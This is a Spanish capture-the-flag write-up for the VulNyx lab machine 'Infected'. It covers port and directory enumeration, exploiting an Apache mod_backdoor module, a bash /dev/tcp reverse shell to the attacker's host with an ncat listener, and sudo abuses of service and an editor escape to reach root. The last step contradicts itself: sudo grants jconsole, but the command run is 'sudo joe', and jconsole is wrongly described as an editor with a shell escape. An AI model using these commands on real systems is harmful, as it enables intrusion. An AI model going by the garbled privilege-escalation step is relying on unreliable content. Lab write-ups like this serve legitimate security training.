cd ~/blog

~/writeups/vulnyx/05-infected.md

05 - Infected

low Linux vulnyx 09-05-2024
Apache mod_backdoor RCEsudo service Privescsudo jconsole/joe Privesc
vulnyx.com

~1 min de lectura


Enumeramos puertos y directorios:

 sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.56
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.56
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-09 14:10 -04
Nmap scan report for 192.168.1.56
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.73 seconds
 gobuster dir -u 'http://192.168.1.56' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif -r
...
/index.html           (Status: 200) [Size: 10701]
/info.php             (Status: 200) [Size: 114384]
...

Revisamos info.php (un phpinfo()) y descubrimos que el servidor tiene cargado el módulo mod_backdoor, una puerta trasera de Apache con una vulnerabilidad conocida. La explotamos con el exploit de WangYihang/Apache-HTTP-Server-Module-Backdoor y desde ahí saltamos a una reverse shell estable:

 python2 exploit.py 192.168.1.56 80
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ bash -c "bash -i >& /dev/tcp/192.168.1.5/1234 0>&1"

 ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.56:52060.
bash: cannot set terminal process group (473): Inappropriate ioctl for device
bash: no job control in this shell
www-data@infected:/$

Esta máquina encadena varios saltos entre usuarios vía sudo. Comenzamos consultando los permisos de www-data:

www-data@infected:/home$ sudo -l
Matching Defaults entries for www-data on infected:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on infected:
    (laurent) NOPASSWD: /usr/sbin/service

Podemos ejecutar service como el usuario laurent sin contraseña. Abusamos de ese binario para que invoque bash (un script de servicio recibe su primer argumento como ruta a ejecutar) y obtenemos una shell como laurent, junto con la primera flag:

www-data@infected:/home$ sudo -u laurent service ../../bin/bash
laurent@infected:/$

Repetimos sudo -l ahora como laurent:

laurent@infected:~$ sudo -l
Matching Defaults entries for laurent on infected:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User laurent may run the following commands on infected:
    (root) NOPASSWD: /usr/bin/jconsole

Podemos ejecutar jconsole como root. jconsole es una herramienta gráfica de Java que abre un editor; aprovechamos esa capacidad de escapar a un shell desde el editor para ejecutar /bin/bash como root:

laurent@infected:~$ sudo joe
ESC
!/bin/bash
root@infected:~#

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados